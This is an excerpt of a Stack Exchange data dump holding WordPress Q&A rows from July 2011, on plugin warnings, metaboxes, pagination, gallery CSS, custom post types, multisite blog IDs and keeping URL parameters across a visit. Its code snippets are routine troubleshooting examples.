  <row Id="22737" PostTypeId="2" ParentId="22733" CreationDate="2011-07-12T14:53:52.440" Score="1" ViewCount="" Body="&lt;p&gt;The cforms Wordpress Plugin you're using is not properly sanitizing input variables prior use, that's why you get the warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either fix the problem your own if you're a coder, or report the issue to the plugin author and discuss if she can fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from what I googled, there is another version of that plugin, called &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;cfomsII (Wordpress Plugin)&lt;/a&gt;. It will probably have this issue already fixed so perhaps changing the plugin to the new version is the best suggestion to give.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-07-12T14:53:52.440" CommentCount="3" />
  <row Id="22738" PostTypeId="1" CreationDate="2011-07-12T15:45:31.283" Score="0" ViewCount="40" Body="&lt;p&gt;Some of the categories are appearing more than once in my editor. I tried both using Windows Live Writer and the default text editor within wordpress. I'd appreciate if somebody can help in tackling this.!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/uofqQ.png&quot; alt=&quot;Duplicated categories&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5488" LastEditorUserId="5488" LastEditorDisplayName="" LastEditDate="2011-07-14T10:59:39.507" LastActivityDate="2011-07-14T10:59:39.507" Title="Remove duplicate categories" Tags="&lt;wordpress.org&gt;" CommentCount="5" />
  <row Id="22739" PostTypeId="1" CreationDate="2011-07-12T15:46:59.980" Score="1" ViewCount="51" Body="&lt;p&gt;I have a script that I'd like to call via AJAX from my WordPress theme, it relies upon some core WordPress functions so I am including WordPress blog header like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_USE_THEMES', false );&#xA;require( '../../../../wp-blog-header.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somewhere during the processing of &lt;code&gt;wp-blog-header.php&lt;/code&gt; WordPress sets a 404 header which causes my AJAX request to fail, even though the script I am calling exists and is returning content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have since added &lt;code&gt;status_header( 200 );&lt;/code&gt; after that snippet which changes the status header back to 200 and solves the problem, however it feels very much like a hack, so I was just wondering if there is a &lt;em&gt;recommended&lt;/em&gt; solution to this problem?&lt;/p&gt;&#xA;" OwnerUserId="5689" LastActivityDate="2011-08-12T10:22:40.373" Title="External page integrated into WordPress returns a 404 error" Tags="&lt;404-error&gt;&lt;header&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22740" PostTypeId="2" ParentId="22735" CreationDate="2011-07-12T16:09:43.283" Score="1" ViewCount="" Body="&lt;p&gt;The Problem is in your &lt;code&gt;ri_display_metaboxes()&lt;/code&gt; function more specifically this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($meta_boxes as $meta_box) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which tells WordPress to render both/all metaboxes on every single metabox display callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get over it you can use the &lt;code&gt;$callback_args&lt;/code&gt; parameter of &lt;code&gt;add_meta_box&lt;/code&gt; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ri_add_custom_box() {&#xA;    global $prefix, $meta_box, $meta_boxes;&#xA;&#xA;&#xA;    $prefix = '_ri_custom_meta_'; // a custom prefix to help us avoid pulling data from the wrong meta box&#xA;    $meta_boxes = array();&#xA;&#xA;    $meta_boxes[] = array(  &#xA;    'id' =&amp;gt; 'ri_meta_box_panel1', // the id of our meta box&#xA;    'title' =&amp;gt; 'Test1', // the title of the meta box&#xA;    'page' =&amp;gt; 'ri_my_page', // display this meta box on post editing screens&#xA;    'context' =&amp;gt; 'side',&#xA;    'priority' =&amp;gt; 'high', // keep it near the top&#xA;        'fields' =&amp;gt; array( // all of the options inside of our meta box&#xA;            array(&#xA;                'name' =&amp;gt; 'Test1:',&#xA;                'desc' =&amp;gt; 'Test1',&#xA;                'id' =&amp;gt; $prefix . 'Test1',&#xA;                'type' =&amp;gt; 'text',&#xA;                'std' =&amp;gt; ''&#xA;            ),&#xA;        )&#xA;    );&#xA;&#xA;    $meta_boxes[] = array(  &#xA;    'id' =&amp;gt; 'ri_meta_box_panel2', // the id of our meta box&#xA;    'title' =&amp;gt; 'Test2', // the title of the meta box&#xA;    'page' =&amp;gt; 'ri_my_page', // display this meta box on post editing screens&#xA;    'context' =&amp;gt; 'side',&#xA;    'priority' =&amp;gt; 'high', // keep it near the top&#xA;        'fields' =&amp;gt; array( // all of the options inside of our meta box&#xA;            array(&#xA;                'name' =&amp;gt; 'Test2:',&#xA;                'desc' =&amp;gt; 'Test2',&#xA;                'id' =&amp;gt; $prefix . 'Test2',&#xA;                'type' =&amp;gt; 'text',&#xA;                'std' =&amp;gt; ''&#xA;            ),&#xA;        )&#xA;    );&#xA;&#xA;    foreach ($meta_boxes as $meta_box) {&#xA;        new Ri($meta_box);&#xA;        add_meta_box($meta_box['id'], $meta_box['title'], array(&amp;amp;$this, 'ri_display_metaboxes'), $meta_box['page'], $meta_box['context'], $meta_box['priority'],array('fields' =&amp;gt; $meta_box['fields']));&#xA;    }&#xA;}&#xA;&#xA;&#xA;function ri_display_metaboxes($post,$meta_b) {&#xA;    global $meta_boxes, $post;&#xA;&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;ri_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;    echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;        foreach ((array)$meta_b['arg']['fields'] as $field) {&#xA;            $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;            echo '&amp;lt;tr&amp;gt;', // create a table row for each option&#xA;                '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;', $field['id'], '&quot;&amp;gt;', $field['name'], '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;',&#xA;                '&amp;lt;td&amp;gt;';&#xA;            switch ($field['type']) {&#xA;                case 'text': // the HTML to display for type=text options&#xA;                    echo '&amp;lt;input type=&quot;text&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot; value=&quot;', $meta ? $meta : $field['std'], '&quot; size=&quot;30&quot; style=&quot;width:97%&quot; /&amp;gt;', '', $field['desc'];&#xA;                    break;     &#xA;                case 'textarea': // the HTML to display for type=textarea options&#xA;                    echo '&amp;lt;textarea name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot; cols=&quot;60&quot; rows=&quot;8&quot; style=&quot;width:97%&quot;&amp;gt;', $meta ? $meta : $field['std'], '&amp;lt;/textarea&amp;gt;', '', $field['desc'];&#xA;                    break;&#xA;                case 'select': // the HTML to display for type=select options&#xA;                    echo '&amp;lt;select name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;&amp;gt;';&#xA;                    foreach ($field['options'] as $option) {&#xA;                        echo '&amp;lt;option', $meta == $option ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $option, '&amp;lt;/option&amp;gt;';&#xA;                    }&#xA;                    echo '&amp;lt;/select&amp;gt;';&#xA;                    break;&#xA;                case 'radio': // the HTML to display for type=radio options&#xA;                    foreach ($field['options'] as $option) {&#xA;                        echo '&amp;lt;input type=&quot;radio&quot; name=&quot;', $field['id'], '&quot; value=&quot;', $option['value'], '&quot;', $meta == $option['value'] ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;', $option['name'];&#xA;                    }&#xA;                    break;&#xA;                case 'checkbox': // the HTML to display for type=checkbox options&#xA;                    echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;', $meta ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;';&#xA;                    break;&#xA;            }&#xA;            echo     '&amp;lt;td&amp;gt;',&#xA;                '&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-13T11:55:01.790" LastActivityDate="2011-07-13T11:55:01.790" CommentCount="5" />
  <row Id="22741" PostTypeId="1" CreationDate="2011-07-12T16:14:36.337" Score="0" ViewCount="45" Body="&lt;p&gt;for some reason next page links do not work for a custom post type archive template on my local server but do work correctly on a live web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the local server version, next page links correctly show the url with /page/#.  Clicking the next page link displays the same results as page 1, even though the page number increments for each next page link and decrements for each prev page link.  It seems like the page/2 part of the url is not being converted into correct limit offset for the page query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only query I have is on the template for the archive, loop-archive-my_content_type.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;        'post_type' =&amp;gt; array( 'my_content_type' ) // only show content type&#xA;     );&#xA;query_posts( $args );&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this query works fine on the live server, but does not generate next page results on the local server. Perhaps there is some kind of rewrite rule on my local server that is not correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using an apache vhost for my test site, and have not modified the htaccess file in wordpress itself.  I have not yet tested with normal post types in wordpress to find out if this is a general problem or specific to custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my apache vhost entry for the site on my local server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;## mysite.local&#xA;&amp;lt;VirtualHost *&amp;gt;&#xA;    DocumentRoot &quot;C:/Users/username/Documents/mysite/public_html&quot;&#xA;    ServerName mysite.local&#xA;    ServerAlias www.mysite.local&#xA;    ErrorLog &quot;logs/mysite.local-error.log&quot;&#xA;    CustomLog &quot;logs/mysite.local-access.log&quot; combined&#xA;  &amp;lt;Directory &quot;C:/Users/username/Documents/mysite/public_html&quot;&amp;gt;&#xA;    AllowOverride All&lt;br&gt;&#xA;    Order allow,deny&#xA;    Allow from all&#xA;  &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to change in my local server configuration to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="6970" LastActivityDate="2011-07-12T16:14:36.337" Title="next page links for custom post type archive work online but not for local server" Tags="&lt;custom-post-types&gt;" />
  <row Id="22742" PostTypeId="2" ParentId="22734" CreationDate="2011-07-12T16:20:31.107" Score="0" ViewCount="" Body="&lt;p&gt;you can use the &lt;code&gt;pre_comment_author_url&lt;/code&gt; filter hook to clear the url if its Website :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_comment_author_url', 'filter_comment_url');&#xA;function filter_comment_url($url){&#xA;    if ($url == &quot;Website&quot; || $url == &quot;http://Website&quot;){&#xA;        $url = '';&#xA;    }&#xA;    return $url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as for images/icons its strictly a CSS issue and FYI you can simply insert the icons as html img tags.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-12T16:20:31.107" CommentCount="7" />
  <row Id="22743" PostTypeId="2" ParentId="22739" CreationDate="2011-07-12T16:24:35.703" Score="0" ViewCount="" Body="&lt;p&gt;Yes there is a recommend solution for using WordPress Function via AJAX and that is using the  &lt;code&gt;wp_ajax&lt;/code&gt; hooks. you can see a very detailed example &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9231/whats-the-preferred-method-of-writing-ajax-enabled-plugins/9236#9236&quot;&gt;&lt;strong&gt;in my answer to &quot;What's the preferred method of writing AJAX-enabled plugins?&lt;/strong&gt;&lt;/a&gt;&quot; &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-12T16:24:35.703" CommentCount="1" />
  <row Id="22744" PostTypeId="1" CreationDate="2011-07-12T16:30:19.347" Score="0" ViewCount="79" Body="&lt;p&gt;I am using images on a Wordpress page to link to other pages in the site. I know how to get an attached image's file or attachment URL, but I can't figure out how to get its URL if it's linked to another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://zendenwebdesign.com/notforsalestore/women/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; .The first image, &quot;Women's clothes&quot; links to a separate page in the site. I'm trying to make the caption of the attachment have the same link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how I can use the filter below to alter the caption to wrap it in an anchor tag, but I don't know how actually retrieve the URL of the attachment if it links to a separate page. Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Change Caption output&#xA;function my_caption($output, $attr , $content) {&#xA;    extract(shortcode_atts(array(&#xA;        'id'    =&amp;gt; '',&#xA;        'align' =&amp;gt; 'alignnone',&#xA;        'width' =&amp;gt; '',&#xA;        'caption' =&amp;gt; ''&#xA;    ), $attr));&#xA;&#xA;    if ( 1 &amp;gt; (int) $width || empty($caption) )&#xA;        return $content;&#xA;&#xA;    if ( $id ) $id = 'id=&quot;' . esc_attr($id) . '&quot; ';&#xA;&#xA;    return '&amp;lt;div ' . $id . 'class=&quot;wp-caption ' . esc_attr($align) . '&quot; style=&quot;width: ' . (10 + (int) $width) . 'px&quot;&amp;gt;'&#xA;    . do_shortcode( $content ) . '&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;' . $caption . '&amp;lt;/p&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';return $output;&#xA;}&#xA;add_filter('img_caption_shortcode','my_caption' , 10 , 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6953" LastActivityDate="2011-08-11T21:22:27.650" Title="How do I get link URL (not file URL or attachment URL) of an attached image" Tags="&lt;attachments&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22745" PostTypeId="1" CreationDate="2011-07-12T17:06:13.283" Score="0" ViewCount="27" Body="&lt;p&gt;I've got a weird problem that's very similar to this one: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20565/why-does-wordpress-pagination-remove-the-spaces-from-my-get-variable&quot;&gt;Why does Wordpress Pagination Remove the Spaces from my GET Variable?&lt;/a&gt;. Except that mine isn't withn search results pages--it's with custom taxonomy pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the problem: clean WP install with no plugins. I add a custom taxonomy like so in my functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;    'my-categories',&#xA;    array(&#xA;        'post',&#xA;    ),&#xA;    array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'label' =&amp;gt; 'My Categories',&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'my-categories' ),&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've created a term in this taxonomy called &quot;test one&quot;. If I go to the taxonomy page and add a custom var to the query string, everything seems fine (like so: /my-categories/test-one/?something=one+two).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where it gets weird: if I add in some pagination vars (manually changing the URL to /my-categories/test-one/page/2/?something=one+two), the resulting page actually rewrites my URL, stripping out spaces from the custom var (the resulting URL is /my-categories/test-one/page/2/?something=onetwo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding my custom var to the vars list using the query_vars filter has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is obviously a bad rewrite happening somewhere in the WordPress core (I assume in the register_taxonomy() function?), but I don't know enough about WP's rewriting API to figure out what it is. Anybody have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll file an issue in Trac if it is indeed a bug, but I need to know how to patch it short-term.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-07-12T17:06:13.283" Title="Pagination on Custom Tax Pages Removes Spaces from Query Vars" Tags="&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;register-taxonomy&gt;" />
  <row Id="22747" PostTypeId="1" AcceptedAnswerId="22750" CreationDate="2011-07-12T17:20:09.160" Score="1" ViewCount="37" Body="&lt;p&gt;Continuing the build on a free theme.  Working on the gallery CSS.  Wordpress automatically adds a left margin to the gallery.  Example: &lt;a href=&quot;http://themeforward.com/demo2/features/gallery-2/&quot; rel=&quot;nofollow&quot;&gt;http://themeforward.com/demo2/features/gallery-2/&lt;/a&gt; So, how do I get rid of that nasty margin?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Gallery */&#xA;.gallery {&#xA;margin:30px auto auto;&#xA;text-align:center&#xA;}&#xA;.gallery-item {&#xA;float:left;&#xA;margin-top:10px;&#xA;text-align:center;&#xA;width:33%&#xA;}&#xA;.gallery img {&#xA;border:1px solid #E6E6E6!important;&#xA;margin-bottom:27px;&#xA;padding:5px&#xA;}&#xA;.gallery img:active {&#xA;margin:1px 0 0&#xA;}&#xA;.gallery-caption {&#xA;display:none;&#xA;font-size:.8em;&#xA;margin-left:0&#xA;}&#xA;.gal_img {&#xA;margin:20px auto 0!important;&#xA;text-align:center&#xA;}&#xA;.gal_caption p {&#xA;font-size:1.3em!important;&#xA;font-weight:700;&#xA;text-align:center;&#xA;font-family:Arial, Helvetica, sans-serif!important&#xA;}&#xA;.gal_description p {&#xA;font-size:1.1em!important;&#xA;text-align:center&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-12T17:30:08.770" Title="Overriding Gallery Margin" Tags="&lt;css&gt;" AnswerCount="1" />
  <row Id="22748" PostTypeId="2" ParentId="18652" CreationDate="2011-07-12T17:26:34.700" Score="0" ViewCount="" Body="&lt;p&gt;@Jan Fabry's response is actually the correct answer, here's why: Since Wordpress allows multiple categories for a post, using &lt;code&gt;$category = get_the_category()&lt;/code&gt; and querying &lt;code&gt;$category[0]&lt;/code&gt; will not work in every case since what you're actually doing is asking for the first category of the first post. Imagine you have categories A, B and C. If you have only one post, it has categories A and B and you're inside B's category page, you may end up with A's information instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why it's better to use &lt;code&gt;$category = $wp_query-&amp;gt;get_queried_object()&lt;/code&gt;, because in the previous example it will always get you B's information when you're inside B's category page.&lt;/p&gt;&#xA;" OwnerUserId="2994" LastActivityDate="2011-07-12T17:26:34.700" />
  <row Id="22749" PostTypeId="1" AcceptedAnswerId="22751" CreationDate="2011-07-12T17:28:37.927" Score="0" ViewCount="43" Body="&lt;p&gt;I'm trying to register a CPT from a plugin upon activation but seem to have hit a wall...  Anyone see anything im missing?  I don't get any errors but the CPT doesn't show up in the dashboard links....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function ctg_cpt_init() {&#xA;    register_post_type( 'ctg_questions',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Questions' ),&#xA;                'singular_name' =&amp;gt; __( 'Question' )&#xA;                ),&#xA;        'public' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'questions' )&#xA;        )&#xA;    );&#xA;}&#xA;add_action( 'init', 'ctg_cpt_init' );&#xA;&#xA;function ctg_rewrite_flush() {&#xA;    ctg_cpt_init();&#xA;    flush_rewrite_rules();&#xA;}&#xA;register_activation_hook( __FILE__, 'ctg_rewrite_flush' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2011-08-12T14:22:45.870" Title="Register Custom Post Type from Plugin" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22750" PostTypeId="2" ParentId="22747" CreationDate="2011-07-12T17:30:08.770" Score="0" ViewCount="" Body="&lt;p&gt;The simplest method is to remove the WordPress-injected inline style definitions, so that you can control style completely via the Theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Remove default gallery shortcode inline styles&#xA; */&#xA;add_filter( 'use_default_gallery_style', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will remove ALL WordPress-injected gallery CSS definitions, so you may need to port some of the original style definitions into your stylesheet.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-12T17:30:08.770" CommentCount="3" />
  <row Id="22751" PostTypeId="2" ParentId="22749" CreationDate="2011-07-12T17:33:18.937" Score="0" ViewCount="" Body="&lt;p&gt;Pull the CPT registration functionality out of the &lt;em&gt;Plugin activation&lt;/em&gt; hook, so that it can fire at &lt;code&gt;init&lt;/code&gt;, where you want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Plugin activation hook is a one-time only hook; you need your CPT to fire &lt;em&gt;every time&lt;/em&gt; at the &lt;code&gt;init&lt;/code&gt; hook, not just once.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-12T17:33:18.937" CommentCount="2" />
  <row Id="22752" PostTypeId="1" CreationDate="2011-07-12T17:39:12.040" Score="0" ViewCount="53" Body="&lt;p&gt;is there any way, to get the current blog id in a Tinymce Dialog Window? Currently I only get the id, from the main blog. This is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_load = &quot;wp-load.php&quot;;&#xA;while(!file_exists($wp_load)) {&#xA;$wp_load = '../' . $wp_load;&#xA;if(file_exists($wp_load)){&#xA;    break;&#xA;}&#xA;}&#xA;require_once($wp_load);&#xA;global $blog_id;&#xA;echo $blog_id;&#xA;$blog = get_blog_details($blog_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lars&lt;/p&gt;&#xA;" OwnerUserId="6975" LastActivityDate="2011-07-12T17:39:12.040" Title="Get current Blog ID in Tinymce Plugin Dialog Window in WPMU" Tags="&lt;multisite&gt;&lt;tinymce&gt;&lt;blog-id&gt;" />
  <row Id="22753" PostTypeId="1" AcceptedAnswerId="22768" CreationDate="2011-07-12T18:01:33.437" Score="1" ViewCount="53" Body="&lt;p&gt;What's the earliest possible action I can hook into where I'll be able to access the global &lt;code&gt;$post/$posts&lt;/code&gt; variables on both the front and back ends? I've tried looking through &lt;a href=&quot;http://codex.wordpress.org/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;the Codex reference&lt;/a&gt;, &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/actions&quot; rel=&quot;nofollow&quot;&gt;Adam Brown's reference&lt;/a&gt; and skimming through the source several times but haven't had much luck finding a good one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pre_get_posts&lt;/code&gt; is too early; Using &lt;code&gt;posts_selection&lt;/code&gt; doesn't work if you want to make a second get_posts() call during the callback; and &lt;code&gt;template_redirect&lt;/code&gt; doesn't run on the admin side. &lt;code&gt;the_post&lt;/code&gt; might be earlier than &lt;code&gt;template_redirect&lt;/code&gt; for the front end, but it also doesn't run on the back end. Ideally I'd want something that runs right before &lt;code&gt;get_post()/get_posts()&lt;/code&gt; returns, but I'm not seeing anything like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the &lt;code&gt;the_posts&lt;/code&gt; filter in the past, but I'd prefer an action because it's more technically correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm just hooking in twice; once using &lt;code&gt;template_redirect&lt;/code&gt; for the front end, and again using &lt;code&gt;admin_xml_ns&lt;/code&gt; for the back end. I don't really like that, though, since the my logic isn't semantically related to either of those hooks, and it seems like this is a very common need and there should be a hook like &quot;post_get_posts&quot; (ala &lt;code&gt;pre_get_posts&lt;/code&gt;) that works on both sides.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-12T18:57:46.290" LastActivityDate="2011-07-12T19:15:30.163" Title="Earliest hook to reliably get $post/$posts" Tags="&lt;filters&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="22754" PostTypeId="1" AcceptedAnswerId="22770" CreationDate="2011-07-12T18:02:14.483" Score="2" ViewCount="82" Body="&lt;p&gt;When creating a user in Wordpress an email address is required for that user. The website I'm working on requires that users remain anonymous (it's part of a research study) and I'd consider email to be an identifying piece of data. Users will be added manually, so email is not required to confirm accounts or prevent spam sign-ups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I going to have to provide a fake email address for each account, or is there a way to leave this field blank?&lt;/p&gt;&#xA;" OwnerUserId="6976" LastEditorUserId="6976" LastEditorDisplayName="" LastEditDate="2011-07-12T19:12:57.373" LastActivityDate="2011-07-12T19:47:32.223" Title="User Without Email?" Tags="&lt;email&gt;&lt;registration&gt;" AnswerCount="1" />
  <row Id="22755" PostTypeId="1" CreationDate="2011-07-12T18:08:57.003" Score="0" ViewCount="36" Body="&lt;p&gt;I got this one blog that always says it is the latest version no matter what it is.  For instance is is version 3.12 now and wordpress says its the latest version so I never get the update button to go with it.  I always have to manually update it to get it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts why it would do this?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-08-13T06:23:23.803" Title="Wordpress says its latest version but it never is" Tags="&lt;upgrade&gt;" AnswerCount="1" />
  <row Id="22756" PostTypeId="1" CreationDate="2011-07-12T18:28:35.473" Score="0" ViewCount="48" Body="&lt;p&gt;After transferring a working WordPress site to GoDaddy hosting, we've begun getting &quot;Error establishing a database connection&quot; errors on all pages- first intermittently, and now consistently.  It's strange because it worked most of the time, at least at the beginning, but now errors all the time.  This is all within the first few hours of our install- I'm wondering if this might be a database caching issue on WordPress?  Is there a cache to clear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks-&lt;/p&gt;&#xA;" OwnerUserId="4197" LastActivityDate="2011-07-12T20:48:31.583" Title="&quot;Error establishing a database connection&quot; - Intermittent error on GoDaddy" Tags="&lt;database&gt;&lt;errors&gt;&lt;hosting&gt;" AnswerCount="1" />
  <row Id="22757" PostTypeId="2" ParentId="22724" CreationDate="2011-07-12T18:30:29.637" Score="0" ViewCount="" Body="&lt;p&gt;Try setting the htaccess to 777 then go in and update the permalink settings to what you want, then if it works go back and change it back to 644&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-07-12T18:30:29.637" CommentCount="1" />
  <row Id="22758" PostTypeId="1" AcceptedAnswerId="22775" CreationDate="2011-07-12T18:30:47.483" Score="1" ViewCount="61" Body="&lt;p&gt;We have customers that come from other sites and I would like to retain a url parameter &lt;a href=&quot;http://openeye.net/?lead=openeye&quot; rel=&quot;nofollow&quot;&gt;/?lead=openeye&lt;/a&gt; throughout the time that they're browsing. That way when they fill out a form I can capture the lead for sales. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I retain url parameters the entire time they're browsing the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update..&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've began using a combination of sessions and cookies to accomidate this. It sort of works but doesn't seem to stick for more than a few seconds between pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $lead = $_GET['lead']; $_SESSION['lead'] = $lead;&#xA;    $url = parse_url(get_bloginfo('url'));&#xA;    setcookie(&quot;lead&quot;, $lead, 0, $url['path'], $url['host']); (set) &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    echo ($_COOKIE['lead']); // Lead Cookie&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-07-13T16:39:34.170" LastActivityDate="2011-07-13T16:39:34.170" Title="How do I retain url parameters the entire time a user browses my site?" Tags="&lt;url-rewriting&gt;&lt;domain&gt;&lt;site-url&gt;&lt;parameter&gt;" AnswerCount="2" FavoriteCount="1" />
